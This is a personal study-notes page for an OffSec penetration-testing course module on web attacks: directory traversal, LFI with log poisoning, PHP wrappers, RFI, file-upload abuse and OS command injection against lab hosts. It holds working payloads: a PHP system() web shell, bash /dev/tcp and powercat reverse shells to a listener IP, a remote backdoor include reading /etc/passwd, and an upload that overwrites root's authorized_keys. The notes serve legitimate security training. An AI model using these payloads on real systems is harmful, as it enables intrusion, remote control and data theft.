Tree's Notes
  • Overview
  • Tools & Cheatsheets
  • Hacking Methodology
  • Hands-on Practice
  • Linux
    • Linux Basics
  • Windows
    • Windows Basics
  • MacOS
    • MacOS Basics
  • Web
    • Web Basics
  • Mobile
    • iOS
    • Android
  • OS Agnostic
    • Template
  • Courses
    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
        • Module 12: Server-Side Attacks
        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
        • Module 20: Bug Bounty Hunting Process
    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
Powered by GitBook
On this page
  • Directory Traversal
  • Absolute vs Relative Paths
  • Identifying and Exploiting Directory Traversals
  • Encoding Special Characters
  • File Inclusion Vulnerabilities
  • Local File Inclusion (LFI)
  • PHP Wrappers
  • Remote File Inclusion (RFI)
  • File Upload Vulnerabilities
  • Using Executable Files
  • Using Non-Executable Files
  • Command Injection
  • OS Command Injection
Edit on GitHub
  1. Courses
  2. OffSec
  3. PEN-200

Module 9: Common Web Application Attacks

Directory Traversal

Absolute vs Relative Paths

Identifying and Exploiting Directory Traversals

Encoding Special Characters

File Inclusion Vulnerabilities

Local File Inclusion (LFI)

The difference here is that including a local file will execute it rather than read the contents of it. Using Log Poisoning with php and LFI, we can execute commands on the web server.

Taking a look at the previous directory traversal vulnerability, let's see what information is stored in the /var/log/apache2/access.log. In the example provided, the User-Agent is stored. Using this information we can pass along a crafted User-Agent to execute commands via a cmd parameter. Sending to the index.php?page=admin.php a crafted user-agent of User-Agent: <?php echo system($_GET['cmd']); ?> Utilizing this string, we can then navigated to the access.log, appending &cmd=<our command here> to execute via LFI.

After testing that the cmd parameter works, let's get a reverse shell. We'll need to URL encode the data so it's treated correctly. A simple reverse shell one-liner in bash: bash -c "bash -i >& /dev/tcp/my.listener.ip.here/port 0>&1" would be URL encoded as bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.236%2F1337%200%3E%261%22 Another example might be bash+-c+'bash+-i+>%26+/dev/tcp/192.168.45.236/1337+0>%261'%22

PHP Wrappers

Include the contents of a file:

  • php://filter

Using the PHP filter wrapper in a similar way as previous sections: curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php This results in a similar content as requesting admin.php earlier. Using teh PHP filter to encode the content in base64, we can get the content of admin.php. curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php

Achieve code execution:

  • data:// Using the PHP data wrapper to execute commands: curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

Some WAFs may filter strings such as system, so we'll base64 the command.

$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==

$ curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

Remote File Inclusion (RFI)

Kali includes several webshells are /usr/share/webshells/ that can be used for RFI.

For RFI, you'll need your remote files to be available somewhere. This can easily be done with python3 -m http.server 80 which will start a listener on port 80 on all your local interfaces. This hosts any files in your current working directory. Example: curl http://mountaindesserts.com/meteor/index.php?page=http://your.listener.ip.here/simple-backdoor.php&cmd=cat+/etc/passwd

File Upload Vulnerabilities

Using Executable Files

Identifying file upload vulnerabilities:

  • Can we upload a file in general?

  • Is there file extension limitations? Are they case sensitive? Can we use "legacy" extensions? ex. .phps, .php7

Using Non-Executable Files

When using non-executable files, we may be able to overwrite important files like .ssh/authorized_keys for example. Example in Burp Suite's Repeater:

POST /upload HTTP/1.1
Host: 192.168.241.16:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------39100938162538926675637912586
Content-Length: 386
Origin: http://192.168.241.16:8000
Connection: keep-alive
Referer: http://192.168.241.16:8000/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------39100938162538926675637912586
Content-Disposition: form-data; name="myFile"; filename="../../../../../../../../../../root/.ssh/authorized_keys"
Content-Type: application/octet-stream

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7b2Apfpf+ynNDsc702r7dotHjS9RH9gF6AvRP9w5SD user@hostname.local

-----------------------------39100938162538926675637912586--

Command Injection

OS Command Injection

While communicating with a Windows device vulnerable to command injection, you can use (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell to determine if you're running commands inside a CMD or PowerShell prompt. This would likely need to be URL encoded. If inside PowerShell, PowerCat can be used to create a reverse shell. PowerCat is a PowerShell implementation of Netcat included in Kali at /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1.

  • Example usage of powercat.ps1 via command injection: IEX (New-Object System.Net.Webclient).DownloadString("http://your.listener.ip.here:port/powercat.ps1");powercat -c your.listener.ip.here -p port -e powershell

    • Curling that with URL encoding may look like this: curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2Fyour.listener.ip.here%3Aport%2Fpowercat.ps1%22)%3Bpowercat%20-c%20your.listener.ip.here%20-p%20port%20-e%20powershell' http://your.target.ip.here:port/archive

PreviousModule 8: Introduction to Web Application AttacksNextModule 10: SQL Injection Attacks

Last updated 8 months ago

🐲